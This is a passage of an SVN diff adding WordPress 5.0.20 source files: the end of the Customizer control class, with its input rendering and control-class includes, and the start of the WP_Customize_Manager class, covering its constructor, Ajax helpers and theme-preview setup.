+					<span class="customize-control-title"><?php echo esc_html( $this->label ); ?></span>
+				<?php endif; ?>
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description ; ?></span>
+				<?php endif; ?>
+
+				<?php foreach ( $this->choices as $value => $label ) : ?>
+					<span class="customize-inside-control-row">
+						<input
+							id="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"
+							type="radio"
+							<?php echo $describedby_attr; ?>
+							value="<?php echo esc_attr( $value ); ?>"
+							name="<?php echo esc_attr( $name ); ?>"
+							<?php $this->link(); ?>
+							<?php checked( $this->value(), $value ); ?>
+							/>
+						<label for="<?php echo esc_attr( $input_id . '-radio-' . $value ); ?>"><?php echo esc_html( $label ); ?></label>
+					</span>
+				<?php endforeach; ?>
+				<?php
+				break;
+			case 'select':
+				if ( empty( $this->choices ) ) {
+					return;
+				}
+
+				?>
+				<?php if ( ! empty( $this->label ) ) : ?>
+					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
+				<?php endif; ?>
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
+				<?php endif; ?>
+
+				<select id="<?php echo esc_attr( $input_id ); ?>" <?php echo $describedby_attr; ?> <?php $this->link(); ?>>
+					<?php
+					foreach ( $this->choices as $value => $label ) {
+						echo '<option value="' . esc_attr( $value ) . '"' . selected( $this->value(), $value, false ) . '>' . $label . '</option>';
+					}
+					?>
+				</select>
+				<?php
+				break;
+			case 'textarea':
+				?>
+				<?php if ( ! empty( $this->label ) ) : ?>
+					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
+				<?php endif; ?>
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
+				<?php endif; ?>
+				<textarea
+					id="<?php echo esc_attr( $input_id ); ?>"
+					rows="5"
+					<?php echo $describedby_attr; ?>
+					<?php $this->input_attrs(); ?>
+					<?php $this->link(); ?>>
+					<?php echo esc_textarea( $this->value() ); ?>
+				</textarea>
+				<?php
+				break;
+			case 'dropdown-pages':
+				?>
+				<?php if ( ! empty( $this->label ) ) : ?>
+					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
+				<?php endif; ?>
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
+				<?php endif; ?>
+
+				<?php
+				$dropdown_name = '_customize-dropdown-pages-' . $this->id;
+				$show_option_none = __( '&mdash; Select &mdash;' );
+				$option_none_value = '0';
+				$dropdown = wp_dropdown_pages(
+					array(
+						'name'              => $dropdown_name,
+						'echo'              => 0,
+						'show_option_none'  => $show_option_none,
+						'option_none_value' => $option_none_value,
+						'selected'          => $this->value(),
+					)
+				);
+				if ( empty( $dropdown ) ) {
+					$dropdown = sprintf( '<select id="%1$s" name="%1$s">', esc_attr( $dropdown_name ) );
+					$dropdown .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $option_none_value ), esc_html( $show_option_none ) );
+					$dropdown .= '</select>';
+				}
+
+				// Hackily add in the data link parameter.
+				$dropdown = str_replace( '<select', '<select ' . $this->get_link() . ' id="' . esc_attr( $input_id ) . '" ' . $describedby_attr, $dropdown );
+
+				// Even more hacikly add auto-draft page stubs.
+				// @todo Eventually this should be removed in favor of the pages being injected into the underlying get_pages() call. See <https://github.com/xwp/wp-customize-posts/pull/250>.
+				$nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' );
+				if ( $nav_menus_created_posts_setting && current_user_can( 'publish_pages' ) ) {
+					$auto_draft_page_options = '';
+					foreach ( $nav_menus_created_posts_setting->value() as $auto_draft_page_id ) {
+						$post = get_post( $auto_draft_page_id );
+						if ( $post && 'page' === $post->post_type ) {
+							$auto_draft_page_options .= sprintf( '<option value="%1$s">%2$s</option>', esc_attr( $post->ID ), esc_html( $post->post_title ) );
+						}
+					}
+					if ( $auto_draft_page_options ) {
+						$dropdown = str_replace( '</select>', $auto_draft_page_options . '</select>', $dropdown );
+					}
+				}
+
+				echo $dropdown;
+				?>
+				<?php if ( $this->allow_addition && current_user_can( 'publish_pages' ) && current_user_can( 'edit_theme_options' ) ) : // Currently tied to menus functionality. ?>
+					<button type="button" class="button-link add-new-toggle">
+						<?php
+						/* translators: %s: add new page label */
+						printf( __( '+ %s' ), get_post_type_object( 'page' )->labels->add_new_item );
+						?>
+					</button>
+					<div class="new-content-item">
+						<label for="create-input-<?php echo $this->id; ?>"><span class="screen-reader-text"><?php _e( 'New page title' ); ?></span></label>
+						<input type="text" id="create-input-<?php echo $this->id; ?>" class="create-item-input" placeholder="<?php esc_attr_e( 'New page title&hellip;' ); ?>">
+						<button type="button" class="button add-content"><?php _e( 'Add' ); ?></button>
+					</div>
+				<?php endif; ?>
+				<?php
+				break;
+			default:
+				?>
+				<?php if ( ! empty( $this->label ) ) : ?>
+					<label for="<?php echo esc_attr( $input_id ); ?>" class="customize-control-title"><?php echo esc_html( $this->label ); ?></label>
+				<?php endif; ?>
+				<?php if ( ! empty( $this->description ) ) : ?>
+					<span id="<?php echo esc_attr( $description_id ); ?>" class="description customize-control-description"><?php echo $this->description; ?></span>
+				<?php endif; ?>
+				<input
+					id="<?php echo esc_attr( $input_id ); ?>"
+					type="<?php echo esc_attr( $this->type ); ?>"
+					<?php echo $describedby_attr; ?>
+					<?php $this->input_attrs(); ?>
+					<?php if ( ! isset( $this->input_attrs['value'] ) ) : ?>
+						value="<?php echo esc_attr( $this->value() ); ?>"
+					<?php endif; ?>
+					<?php $this->link(); ?>
+					/>
+				<?php
+				break;
+		}
+	}
+
+	/**
+	 * Render the control's JS template.
+	 *
+	 * This function is only run for control types that have been registered with
+	 * WP_Customize_Manager::register_control_type().
+	 *
+	 * In the future, this will also print the template for the control's container
+	 * element and be override-able.
+	 *
+	 * @since 4.1.0
+	 */
+	final public function print_template() {
+		?>
+		<script type="text/html" id="tmpl-customize-control-<?php echo $this->type; ?>-content">
+			<?php $this->content_template(); ?>
+		</script>
+		<?php
+	}
+
+	/**
+	 * An Underscore (JS) template for this control's content (but not its container).
+	 *
+	 * Class variables for this control class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Control::to_json().
+	 *
+	 * @see WP_Customize_Control::print_template()
+	 *
+	 * @since 4.1.0
+	 */
+	protected function content_template() {}
+
+}
+
+/**
+ * WP_Customize_Color_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php' );
+
+/**
+ * WP_Customize_Media_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php' );
+
+/**
+ * WP_Customize_Upload_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php' );
+
+/**
+ * WP_Customize_Image_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php' );
+
+/**
+ * WP_Customize_Background_Image_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php' );
+
+/**
+ * WP_Customize_Background_Position_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php' );
+
+/**
+ * WP_Customize_Cropped_Image_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php' );
+
+/**
+ * WP_Customize_Site_Icon_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php' );
+
+/**
+ * WP_Customize_Header_Image_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php' );
+
+/**
+ * WP_Customize_Theme_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php' );
+
+/**
+ * WP_Widget_Area_Customize_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php' );
+
+/**
+ * WP_Widget_Form_Customize_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Item_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Location_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Name_Control class.
+ *
+ * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent
+ * release, the require_once() here will be removed and _deprecated_file() will be called if file is
+ * required at all.
+ *
+ * @deprecated 4.9.0 This file is no longer used due to new menu creation UX.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Locations_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php' );
+
+/**
+ * WP_Customize_Nav_Menu_Auto_Add_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php' );
+
+/**
+ * WP_Customize_Date_Time_Control class.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-date-time-control.php' );
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-manager.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-manager.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-manager.php	(revision 56912)
@@ -0,0 +1,5745 @@
+<?php
+/**
+ * WordPress Customize Manager classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+/**
+ * Customize Manager class.
+ *
+ * Bootstraps the Customize experience on the server-side.
+ *
+ * Sets up the theme-switching process if a theme other than the active one is
+ * being previewed and customized.
+ *
+ * Serves as a factory for Customize Controls and Settings, and
+ * instantiates default Customize Controls and Settings.
+ *
+ * @since 3.4.0
+ */
+final class WP_Customize_Manager {
+	/**
+	 * An instance of the theme being previewed.
+	 *
+	 * @since 3.4.0
+	 * @var WP_Theme
+	 */
+	protected $theme;
+
+	/**
+	 * The directory name of the previously active theme (within the theme_root).
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	protected $original_stylesheet;
+
+	/**
+	 * Whether this is a Customizer pageload.
+	 *
+	 * @since 3.4.0
+	 * @var bool
+	 */
+	protected $previewing = false;
+
+	/**
+	 * Methods and properties dealing with managing widgets in the Customizer.
+	 *
+	 * @since 3.9.0
+	 * @var WP_Customize_Widgets
+	 */
+	public $widgets;
+
+	/**
+	 * Methods and properties dealing with managing nav menus in the Customizer.
+	 *
+	 * @since 4.3.0
+	 * @var WP_Customize_Nav_Menus
+	 */
+	public $nav_menus;
+
+	/**
+	 * Methods and properties dealing with selective refresh in the Customizer preview.
+	 *
+	 * @since 4.5.0
+	 * @var WP_Customize_Selective_Refresh
+	 */
+	public $selective_refresh;
+
+	/**
+	 * Registered instances of WP_Customize_Setting.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	protected $settings = array();
+
+	/**
+	 * Sorted top-level instances of WP_Customize_Panel and WP_Customize_Section.
+	 *
+	 * @since 4.0.0
+	 * @var array
+	 */
+	protected $containers = array();
+
+	/**
+	 * Registered instances of WP_Customize_Panel.
+	 *
+	 * @since 4.0.0
+	 * @var array
+	 */
+	protected $panels = array();
+
+	/**
+	 * List of core components.
+	 *
+	 * @since 4.5.0
+	 * @var array
+	 */
+	protected $components = array( 'widgets', 'nav_menus' );
+
+	/**
+	 * Registered instances of WP_Customize_Section.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	protected $sections = array();
+
+	/**
+	 * Registered instances of WP_Customize_Control.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	protected $controls = array();
+
+	/**
+	 * Panel types that may be rendered from JS templates.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	protected $registered_panel_types = array();
+
+	/**
+	 * Section types that may be rendered from JS templates.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	protected $registered_section_types = array();
+
+	/**
+	 * Control types that may be rendered from JS templates.
+	 *
+	 * @since 4.1.0
+	 * @var array
+	 */
+	protected $registered_control_types = array();
+
+	/**
+	 * Initial URL being previewed.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	protected $preview_url;
+
+	/**
+	 * URL to link the user to when closing the Customizer.
+	 *
+	 * @since 4.4.0
+	 * @var string
+	 */
+	protected $return_url;
+
+	/**
+	 * Mapping of 'panel', 'section', 'control' to the ID which should be autofocused.
+	 *
+	 * @since 4.4.0
+	 * @var array
+	 */
+	protected $autofocus = array();
+
+	/**
+	 * Messenger channel.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	protected $messenger_channel;
+
+	/**
+	 * Whether the autosave revision of the changeset should be loaded.
+	 *
+	 * @since 4.9.0
+	 * @var bool
+	 */
+	protected $autosaved = false;
+
+	/**
+	 * Whether the changeset branching is allowed.
+	 *
+	 * @since 4.9.0
+	 * @var bool
+	 */
+	protected $branching = true;
+
+	/**
+	 * Whether settings should be previewed.
+	 *
+	 * @since 4.9.0
+	 * @var bool
+	 */
+	protected $settings_previewed = true;
+
+	/**
+	 * Whether a starter content changeset was saved.
+	 *
+	 * @since 4.9.0
+	 * @var bool
+	 */
+	protected $saved_starter_content_changeset = false;
+
+	/**
+	 * Unsanitized values for Customize Settings parsed from $_POST['customized'].
+	 *
+	 * @var array
+	 */
+	private $_post_values;
+
+	/**
+	 * Changeset UUID.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	private $_changeset_uuid;
+
+	/**
+	 * Changeset post ID.
+	 *
+	 * @since 4.7.0
+	 * @var int|false
+	 */
+	private $_changeset_post_id;
+
+	/**
+	 * Changeset data loaded from a customize_changeset post.
+	 *
+	 * @since 4.7.0
+	 * @var array
+	 */
+	private $_changeset_data;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @since 4.7.0 Added $args param.
+	 *
+	 * @param array $args {
+	 *     Args.
+	 *
+	 *     @type null|string|false $changeset_uuid     Changeset UUID, the `post_name` for the customize_changeset post containing the customized state.
+	 *                                                 Defaults to `null` resulting in a UUID to be immediately generated. If `false` is provided, then
+	 *                                                 then the changeset UUID will be determined during `after_setup_theme`: when the
+	 *                                                 `customize_changeset_branching` filter returns false, then the default UUID will be that
+	 *                                                 of the most recent `customize_changeset` post that has a status other than 'auto-draft',
+	 *                                                 'publish', or 'trash'. Otherwise, if changeset branching is enabled, then a random UUID will be used.
+	 *     @type string            $theme              Theme to be previewed (for theme switch). Defaults to customize_theme or theme query params.
+	 *     @type string            $messenger_channel  Messenger channel. Defaults to customize_messenger_channel query param.
+	 *     @type bool              $settings_previewed If settings should be previewed. Defaults to true.
+	 *     @type bool              $branching          If changeset branching is allowed; otherwise, changesets are linear. Defaults to true.
+	 *     @type bool              $autosaved          If data from a changeset's autosaved revision should be loaded if it exists. Defaults to false.
+	 * }
+	 */
+	public function __construct( $args = array() ) {
+
+		$args = array_merge(
+			array_fill_keys( array( 'changeset_uuid', 'theme', 'messenger_channel', 'settings_previewed', 'autosaved', 'branching' ), null ),
+			$args
+		);
+
+		// Note that the UUID format will be validated in the setup_theme() method.
+		if ( ! isset( $args['changeset_uuid'] ) ) {
+			$args['changeset_uuid'] = wp_generate_uuid4();
+		}
+
+		// The theme and messenger_channel should be supplied via $args, but they are also looked at in the $_REQUEST global here for back-compat.
+		if ( ! isset( $args['theme'] ) ) {
+			if ( isset( $_REQUEST['customize_theme'] ) ) {
+				$args['theme'] = wp_unslash( $_REQUEST['customize_theme'] );
+			} elseif ( isset( $_REQUEST['theme'] ) ) { // Deprecated.
+				$args['theme'] = wp_unslash( $_REQUEST['theme'] );
+			}
+		}
+		if ( ! isset( $args['messenger_channel'] ) && isset( $_REQUEST['customize_messenger_channel'] ) ) {
+			$args['messenger_channel'] = sanitize_key( wp_unslash( $_REQUEST['customize_messenger_channel'] ) );
+		}
+
+		$this->original_stylesheet = get_stylesheet();
+		$this->theme = wp_get_theme( 0 === validate_file( $args['theme'] ) ? $args['theme'] : null );
+		$this->messenger_channel = $args['messenger_channel'];
+		$this->_changeset_uuid = $args['changeset_uuid'];
+
+		foreach ( array( 'settings_previewed', 'autosaved', 'branching' ) as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = (bool) $args[ $key ];
+			}
+		}
+
+		require_once( ABSPATH . WPINC . '/class-wp-customize-setting.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-panel.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-section.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-customize-control.php' );
+
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-color-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-media-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-upload-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-image-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-position-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-cropped-image-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-site-icon-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-theme-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-code-editor-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-widget-area-customize-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-widget-form-customize-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-location-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-name-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-locations-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-auto-add-control.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-new-menu-control.php' ); // @todo Remove in a future release. See #42364.
+
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php' );
+
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-themes-panel.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-new-menu-section.php' ); // @todo Remove in a future release. See #42364.
+
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-custom-css-setting.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-filter-setting.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-header-image-setting.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-background-image-setting.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-item-setting.php' );
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-setting.php' );
+
+		/**
+		 * Filters the core Customizer components to load.
+		 *
+		 * This allows Core components to be excluded from being instantiated by
+		 * filtering them out of the array. Note that this filter generally runs
+		 * during the {@see 'plugins_loaded'} action, so it cannot be added
+		 * in a theme.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @see WP_Customize_Manager::__construct()
+		 *
+		 * @param array                $components List of core components to load.
+		 * @param WP_Customize_Manager $this       WP_Customize_Manager instance.
+		 */
+		$components = apply_filters( 'customize_loaded_components', $this->components, $this );
+
+		require_once( ABSPATH . WPINC . '/customize/class-wp-customize-selective-refresh.php' );
+		$this->selective_refresh = new WP_Customize_Selective_Refresh( $this );
+
+		if ( in_array( 'widgets', $components, true ) ) {
+			require_once( ABSPATH . WPINC . '/class-wp-customize-widgets.php' );
+			$this->widgets = new WP_Customize_Widgets( $this );
+		}
+
+		if ( in_array( 'nav_menus', $components, true ) ) {
+			require_once( ABSPATH . WPINC . '/class-wp-customize-nav-menus.php' );
+			$this->nav_menus = new WP_Customize_Nav_Menus( $this );
+		}
+
+		add_action( 'setup_theme', array( $this, 'setup_theme' ) );
+		add_action( 'wp_loaded',   array( $this, 'wp_loaded' ) );
+
+		// Do not spawn cron (especially the alternate cron) while running the Customizer.
+		remove_action( 'init', 'wp_cron' );
+
+		// Do not run update checks when rendering the controls.
+		remove_action( 'admin_init', '_maybe_update_core' );
+		remove_action( 'admin_init', '_maybe_update_plugins' );
+		remove_action( 'admin_init', '_maybe_update_themes' );
+
+		add_action( 'wp_ajax_customize_save',                     array( $this, 'save' ) );
+		add_action( 'wp_ajax_customize_trash',                    array( $this, 'handle_changeset_trash_request' ) );
+		add_action( 'wp_ajax_customize_refresh_nonces',           array( $this, 'refresh_nonces' ) );
+		add_action( 'wp_ajax_customize_load_themes',              array( $this, 'handle_load_themes_request' ) );
+		add_filter( 'heartbeat_settings',                         array( $this, 'add_customize_screen_to_heartbeat_settings' ) );
+		add_filter( 'heartbeat_received',                         array( $this, 'check_changeset_lock_with_heartbeat' ), 10, 3 );
+		add_action( 'wp_ajax_customize_override_changeset_lock',  array( $this, 'handle_override_changeset_lock_request' ) );
+		add_action( 'wp_ajax_customize_dismiss_autosave_or_lock', array( $this, 'handle_dismiss_autosave_or_lock_request' ) );
+
+		add_action( 'customize_register',                 array( $this, 'register_controls' ) );
+		add_action( 'customize_register',                 array( $this, 'register_dynamic_settings' ), 11 ); // allow code to create settings first
+		add_action( 'customize_controls_init',            array( $this, 'prepare_controls' ) );
+		add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_control_scripts' ) );
+
+		// Render Common, Panel, Section, and Control templates.
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_panel_templates' ), 1 );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_section_templates' ), 1 );
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'render_control_templates' ), 1 );
+
+		// Export header video settings with the partial response.
+		add_filter( 'customize_render_partials_response', array( $this, 'export_header_video_settings' ), 10, 3 );
+
+		// Export the settings to JS via the _wpCustomizeSettings variable.
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'customize_pane_settings' ), 1000 );
+
+		// Add theme update notices.
+		if ( current_user_can( 'install_themes' ) || current_user_can( 'update_themes' ) ) {
+			require_once ABSPATH . '/wp-admin/includes/update.php';
+			add_action( 'customize_controls_print_footer_scripts', 'wp_print_admin_notice_templates' );
+		}
+	}
+
+	/**
+	 * Return true if it's an Ajax request.
+	 *
+	 * @since 3.4.0
+	 * @since 4.2.0 Added `$action` param.
+	 *
+	 * @param string|null $action Whether the supplied Ajax action is being run.
+	 * @return bool True if it's an Ajax request, false otherwise.
+	 */
+	public function doing_ajax( $action = null ) {
+		if ( ! wp_doing_ajax() ) {
+			return false;
+		}
+
+		if ( ! $action ) {
+			return true;
+		} else {
+			/*
+			 * Note: we can't just use doing_action( "wp_ajax_{$action}" ) because we need
+			 * to check before admin-ajax.php gets to that point.
+			 */
+			return isset( $_REQUEST['action'] ) && wp_unslash( $_REQUEST['action'] ) === $action;
+		}
+	}
+
+	/**
+	 * Custom wp_die wrapper. Returns either the standard message for UI
+	 * or the Ajax message.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $ajax_message Ajax return
+	 * @param mixed $message UI message
+	 */
+	protected function wp_die( $ajax_message, $message = null ) {
+		if ( $this->doing_ajax() ) {
+			wp_die( $ajax_message );
+		}
+
+		if ( ! $message ) {
+			$message = __( 'Something went wrong.' );
+		}
+
+		if ( $this->messenger_channel ) {
+			ob_start();
+			wp_enqueue_scripts();
+			wp_print_scripts( array( 'customize-base' ) );
+
+			$settings = array(
+				'messengerArgs' => array(
+					'channel' => $this->messenger_channel,
+					'url' => wp_customize_url(),
+				),
+				'error' => $ajax_message,
+			);
+			?>
+			<script>
+			( function( api, settings ) {
+				var preview = new api.Messenger( settings.messengerArgs );
+				preview.send( 'iframe-loading-error', settings.error );
+			} )( wp.customize, <?php echo wp_json_encode( $settings ) ?> );
+			</script>
+			<?php
+			$message .= ob_get_clean();
+		}
+
+		wp_die( $message );
+	}
+
+	/**
+	 * Return the Ajax wp_die() handler if it's a customized request.
+	 *
+	 * @since 3.4.0
+	 * @deprecated 4.7.0
+	 *
+	 * @return callable Die handler.
+	 */
+	public function wp_die_handler() {
+		_deprecated_function( __METHOD__, '4.7.0' );
+
+		if ( $this->doing_ajax() || isset( $_POST['customized'] ) ) {
+			return '_ajax_wp_die_handler';
+		}
+
+		return '_default_wp_die_handler';
+	}
+
+	/**
+	 * Start preview and customize theme.
+	 *
+	 * Check if customize query variable exist. Init filters to filter the current theme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @global string $pagenow
+	 */
+	public function setup_theme() {
+		global $pagenow;
+
+		// Check permissions for customize.php access since this method is called before customize.php can run any code,
+		if ( 'customize.php' === $pagenow && ! current_user_can( 'customize' ) ) {
+			if ( ! is_user_logged_in() ) {
+				auth_redirect();
+			} else {
+				wp_die(
+					'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+					'<p>' . __( 'Sorry, you are not allowed to customize this site.' ) . '</p>',
+					403
+				);
+			}
+			return;
+		}
+
+		// If a changeset was provided is invalid.
+		if ( isset( $this->_changeset_uuid ) && false !== $this->_changeset_uuid && ! wp_is_uuid( $this->_changeset_uuid ) ) {
+			$this->wp_die( -1, __( 'Invalid changeset UUID' ) );
+		}
+
+		/*
+		 * Clear incoming post data if the user lacks a CSRF token (nonce). Note that the customizer
+		 * application will inject the customize_preview_nonce query parameter into all Ajax requests.
+		 * For similar behavior elsewhere in WordPress, see rest_cookie_check_errors() which logs out
+		 * a user when a valid nonce isn't present.
+		 */
+		$has_post_data_nonce = (
+			check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'nonce', false )
+			||
+			check_ajax_referer( 'save-customize_' . $this->get_stylesheet(), 'nonce', false )
+			||
+			check_ajax_referer( 'preview-customize_' . $this->get_stylesheet(), 'customize_preview_nonce', false )
+		);
+		if ( ! current_user_can( 'customize' ) || ! $has_post_data_nonce ) {
+			unset( $_POST['customized'] );
+			unset( $_REQUEST['customized'] );
+		}
+
+		/*
+		 * If unauthenticated then require a valid changeset UUID to load the preview.
+		 * In this way, the UUID serves as a secret key. If the messenger channel is present,
+		 * then send unauthenticated code to prompt re-auth.
+		 */
+		if ( ! current_user_can( 'customize' ) && ! $this->changeset_post_id() ) {
+			$this->wp_die( $this->messenger_channel ? 0 : -1, __( 'Non-existent changeset UUID.' ) );
+		}
+
+		if ( ! headers_sent() ) {
+			send_origin_headers();
+		}
+
+		// Hide the admin bar if we're embedded in the customizer iframe.
+		if ( $this->messenger_channel ) {
+			show_admin_bar( false );
+		}
+
+		if ( $this->is_theme_active() ) {
+			// Once the theme is loaded, we'll validate it.
+			add_action( 'after_setup_theme', array( $this, 'after_setup_theme' ) );
+		} else {
+			// If the requested theme is not the active theme and the user doesn't have the
+			// switch_themes cap, bail.
+			if ( ! current_user_can( 'switch_themes' ) ) {
+				$this->wp_die( -1, __( 'Sorry, you are not allowed to edit theme options on this site.' ) );
+			}
+
+			// If the theme has errors while loading, bail.
+			if ( $this->theme()->errors() ) {
+				$this->wp_die( -1, $this->theme()->errors()->get_error_message() );
+			}
+
+			// If the theme isn't allowed per multisite settings, bail.
+			if ( ! $this->theme()->is_allowed() ) {
+				$this->wp_die( -1, __( 'The requested theme does not exist.' ) );
+			}
+		}
+
+		// Make sure changeset UUID is established immediately after the theme is loaded.
+		add_action( 'after_setup_theme', array( $this, 'establish_loaded_changeset' ), 5 );
+
+		/*
+		 * Import theme starter content for fresh installations when landing in the customizer.
+		 * Import starter content at after_setup_theme:100 so that any
+		 * add_theme_support( 'starter-content' ) calls will have been made.
+		 */
+		if ( get_option( 'fresh_site' ) && 'customize.php' === $pagenow ) {
+			add_action( 'after_setup_theme', array( $this, 'import_theme_starter_content' ), 100 );
+		}
+
+		$this->start_previewing_theme();
+	}
+
+	/**
+	 * Establish the loaded changeset.
+	 *
+	 * This method runs right at after_setup_theme and applies the 'customize_changeset_branching' filter to determine
+	 * whether concurrent changesets are allowed. Then if the Customizer is not initialized with a `changeset_uuid` param,
+	 * this method will determine which UUID should be used. If changeset branching is disabled, then the most saved
+	 * changeset will be loaded by default. Otherwise, if there are no existing saved changesets or if changeset branching is
+	 * enabled, then a new UUID will be generated.
+	 *
+	 * @since 4.9.0
+	 * @global string $pagenow
+	 */
+	public function establish_loaded_changeset() {
+		global $pagenow;
+
+		if ( empty( $this->_changeset_uuid ) ) {
+			$changeset_uuid = null;
+
+			if ( ! $this->branching() && $this->is_theme_active() ) {
+				$unpublished_changeset_posts = $this->get_changeset_posts( array(
